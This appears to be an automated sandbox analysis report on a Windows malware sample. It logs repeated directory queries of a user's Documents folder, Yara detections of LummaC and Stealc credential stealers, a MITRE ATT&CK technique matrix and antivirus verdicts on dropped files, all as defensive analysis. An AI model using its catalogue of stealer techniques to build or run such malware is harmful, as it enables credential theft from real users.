Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI

Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Directory queried: number of queries: 1752

Source: Yara match	File source: 00000015.00000003.2400684236.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2306562309.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2474497787.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2442576181.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2435853665.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2284222994.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2270049277.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2269895043.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2270520571.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2402886405.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2400411053.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2501065889.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2473488619.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2501395526.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2300426734.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2418338692.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2269779163.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2283911679.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2416045693.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2480184057.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2300881497.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2269655803.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2251676644.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2300638023.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2283284801.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 100bc97ff1.exe PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 100bc97ff1.exe PID: 5796, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ee3f3c2bda.exe PID: 4100, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 100bc97ff1.exe PID: 6228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 100bc97ff1.exe PID: 5796, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 39.0.num.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.num.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.76bf5a4dba.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.76bf5a4dba.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.2527848797.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2427332199.0000000000E61000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2307921520.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2427703297.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2435358358.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2351036059.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2407308051.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2348423588.0000000000321000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2407233161.0000000000E61000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.2454084311.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2512290004.0000000000321000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 76bf5a4dba.exe PID: 4304, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	21 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
